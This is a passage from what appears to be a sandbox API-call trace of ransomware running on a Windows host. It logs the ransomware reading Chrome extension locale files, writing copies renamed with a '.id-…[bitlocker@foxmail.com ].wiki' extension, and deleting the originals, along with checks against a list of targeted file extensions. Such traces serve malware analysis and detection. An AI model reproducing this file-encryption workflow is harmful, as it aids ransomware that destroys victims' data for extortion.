Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sl\\messages.json") returned 151 [0177.356] lstrlenW (lpString=".dbf") returned 4 [0177.356] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0177.356] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sl\\messages.json") returned 151 [0177.356] lstrlenW (lpString=".1cd") returned 4 [0177.356] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0177.356] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sl\\messages.json") returned 151 [0177.357] lstrlenW (lpString=".jpg") returned 4 [0177.357] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0177.357] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0177.357] lstrlenW (lpString="messages.json") returned 13 [0177.357] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sr\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sr\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0177.357] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x33dff1c | out: lpFileSize=0x33dff1c*=260) returned 1 [0177.357] CloseHandle (hObject=0x334) returned 1 [0177.358] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sr\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sr\\messages.json")) returned 0x2020 [0177.358] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sr\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sr\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0177.358] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sr\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sr\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0177.358] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0177.358] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0177.358] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sr\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sr\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0177.359] GetLastError () returned 0x0 [0177.359] ReadFile (in: hFile=0x334, lpBuffer=0x3f30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesRead=0x33dfed4*=0x104, lpOverlapped=0x0) returned 1 [0177.360] WriteFile (in: hFile=0x2e0, lpBuffer=0x3f30020*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesWritten=0x33dfc9c*=0x110, lpOverlapped=0x0) returned 1 [0177.360] ReadFile (in: hFile=0x334, lpBuffer=0x3f30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesRead=0x33dfed4*=0x0, lpOverlapped=0x0) returned 1 [0177.361] WriteFile (in: hFile=0x2e0, lpBuffer=0x3f30020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesWritten=0x33dfc9c*=0xee, lpOverlapped=0x0) returned 1 [0177.361] SetEndOfFile (hFile=0x2e0) returned 1 [0177.361] CloseHandle (hObject=0x2e0) returned 1 [0177.361] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0177.361] SetEndOfFile (hFile=0x334) returned 1 [0177.362] CloseHandle (hObject=0x334) returned 1 [0177.362] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sr\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0177.362] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sr\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sr\\messages.json")) returned 1 [0177.362] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sr\\messages.json") returned 151 [0177.362] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sr\\messages.json") returned 151 [0177.362] lstrlenW (lpString=".doc") returned 4 [0177.362] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0177.362] lstrlenW (lpString=".docx") returned 5 [0177.362] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0177.362] lstrlenW (lpString=".pdf") returned 4 [0177.362] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0177.362] lstrlenW (lpString=".xls") returned 4 [0177.362] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0177.362] lstrlenW (lpString=".xlsx") returned 5 [0177.362] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0177.362] lstrlenW (lpString=".ppt") returned 4 [0177.363] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0177.363] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sr\\messages.json") returned 151 [0177.363] lstrlenW (lpString=".zip") returned 4 [0177.363] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0177.363] lstrlenW (lpString=".rar") returned 4 [0177.363] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0177.363] lstrlenW (lpString=".bz2") returned 4 [0177.363] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0177.363] lstrlenW (lpString=".7z") returned 3 [0177.363] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0177.363] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sr\\messages.json") returned 151 [0177.363] lstrlenW (lpString=".dbf") returned 4 [0177.363] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0177.363] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sr\\messages.json") returned 151 [0177.363] lstrlenW (lpString=".1cd") returned 4 [0177.363] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0177.363] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sr\\messages.json") returned 151 [0177.363] lstrlenW (lpString=".jpg") returned 4 [0177.363] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0177.363] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sr\\messages.json") returned 151 [0177.363] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sr\\messages.json") returned 151 [0177.363] lstrlenW (lpString=".doc") returned 4 [0177.363] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0177.363] lstrlenW (lpString=".docx") returned 5 [0177.363] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0177.363] lstrlenW (lpString=".pdf") returned 4 [0177.363] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0177.363] lstrlenW (lpString=".xls") returned 4 [0177.363] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0177.364] lstrlenW (lpString=".xlsx") returned 5 [0177.364] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0177.364] lstrlenW (lpString=".ppt") returned 4 [0177.364] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0177.364] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sr\\messages.json") returned 151 [0177.364] lstrlenW (lpString=".zip") returned 4 [0177.364] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0177.364] lstrlenW (lpString=".rar") returned 4 [0177.364] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0177.364] lstrlenW (lpString=".bz2") returned 4 [0177.364] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0177.364] lstrlenW (lpString=".7z") returned 3 [0177.364] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0177.364] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sr\\messages.json") returned 151 [0177.364] lstrlenW (lpString=".dbf") returned 4 [0177.364] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0177.364] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sr\\messages.json") returned 151 [0177.364] lstrlenW (lpString=".1cd") returned 4 [0177.364] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0177.364] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sr\\messages.json") returned 151 [0177.364] lstrlenW (lpString=".jpg") returned 4 [0177.364] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0177.364] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0177.364] lstrlenW (lpString="messages.json") returned 13 [0177.364] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sv\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sv\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0177.365] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x33dff1c | out: lpFileSize=0x33dff1c*=179) returned 1 [0177.365] CloseHandle (hObject=0x334) returned 1 [0177.365] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sv\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sv\\messages.json")) returned 0x2020 [0177.365] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sv\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sv\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0177.365] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sv\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sv\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0177.365] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0177.365] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0177.365] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sv\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sv\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0177.366] GetLastError () returned 0x0 [0177.366] ReadFile (in: hFile=0x334, lpBuffer=0x3f30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesRead=0x33dfed4*=0xb3, lpOverlapped=0x0) returned 1 [0177.367] WriteFile (in: hFile=0x2e0, lpBuffer=0x3f30020*, nNumberOfBytesToWrite=0xc0, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesWritten=0x33dfc9c*=0xc0, lpOverlapped=0x0) returned 1 [0177.368] ReadFile (in: hFile=0x334, lpBuffer=0x3f30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesRead=0x33dfed4*=0x0, lpOverlapped=0x0) returned 1 [0177.368] WriteFile (in: hFile=0x2e0, lpBuffer=0x3f30020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesWritten=0x33dfc9c*=0xee, lpOverlapped=0x0) returned 1 [0177.368] SetEndOfFile (hFile=0x2e0) returned 1 [0177.368] CloseHandle (hObject=0x2e0) returned 1 [0177.368] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0177.368] SetEndOfFile (hFile=0x334) returned 1 [0177.369] CloseHandle (hObject=0x334) returned 1 [0177.369] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sv\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0177.369] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sv\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sv\\messages.json")) returned 1 [0177.370] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sv\\messages.json") returned 151 [0177.370] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sv\\messages.json") returned 151 [0177.370] lstrlenW (lpString=".doc") returned 4 [0177.370] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0177.370] lstrlenW (lpString=".docx") returned 5 [0177.370] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0177.370] lstrlenW (lpString=".pdf") returned 4 [0177.370] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0177.370] lstrlenW (lpString=".xls") returned 4 [0177.370] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0177.370] lstrlenW (lpString=".xlsx") returned 5 [0177.370] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0177.370] lstrlenW (lpString=".ppt") returned 4 [0177.370] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0177.370] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sv\\messages.json") returned 151 [0177.370] lstrlenW (lpString=".zip") returned 4 [0177.370] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0177.370] lstrlenW (lpString=".rar") returned 4 [0177.370] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0177.370] lstrlenW (lpString=".bz2") returned 4 [0177.370] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0177.370] lstrlenW (lpString=".7z") returned 3 [0177.370] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0177.370] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sv\\messages.json") returned 151 [0177.370] lstrlenW (lpString=".dbf") returned 4 [0177.370] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0177.371] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sv\\messages.json") returned 151 [0177.371] lstrlenW (lpString=".1cd") returned 4 [0177.371] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0177.371] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sv\\messages.json") returned 151 [0177.371] lstrlenW (lpString=".jpg") returned 4 [0177.371] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0177.371] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sv\\messages.json") returned 151 [0177.371] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sv\\messages.json") returned 151 [0177.371] lstrlenW (lpString=".doc") returned 4 [0177.371] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0177.371] lstrlenW (lpString=".docx") returned 5 [0177.371] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0177.371] lstrlenW (lpString=".pdf") returned 4 [0177.371] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0177.371] lstrlenW (lpString=".xls") returned 4 [0177.371] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0177.371] lstrlenW (lpString=".xlsx") returned 5 [0177.371] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0177.371] lstrlenW (lpString=".ppt") returned 4 [0177.371] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0177.371] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sv\\messages.json") returned 151 [0177.371] lstrlenW (lpString=".zip") returned 4 [0177.371] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0177.371] lstrlenW (lpString=".rar") returned 4 [0177.371] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0177.371] lstrlenW (lpString=".bz2") returned 4 [0177.371] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0177.371] lstrlenW (lpString=".7z") returned 3 [0177.372] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0177.372] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sv\\messages.json") returned 151 [0177.372] lstrlenW (lpString=".dbf") returned 4 [0177.372] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0177.372] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sv\\messages.json") returned 151 [0177.372] lstrlenW (lpString=".1cd") returned 4 [0177.372] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0177.372] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sv\\messages.json") returned 151 [0177.372] lstrlenW (lpString=".jpg") returned 4 [0177.372] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0177.372] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0177.372] lstrlenW (lpString="messages.json") returned 13 [0177.372] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sw\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sw\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0177.667] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x33dff1c | out: lpFileSize=0x33dff1c*=196) returned 1 [0177.667] CloseHandle (hObject=0x334) returned 1 [0177.667] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sw\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sw\\messages.json")) returned 0x2020 [0177.667] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sw\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sw\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0177.667] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sw\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sw\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0177.667] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0177.667] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, 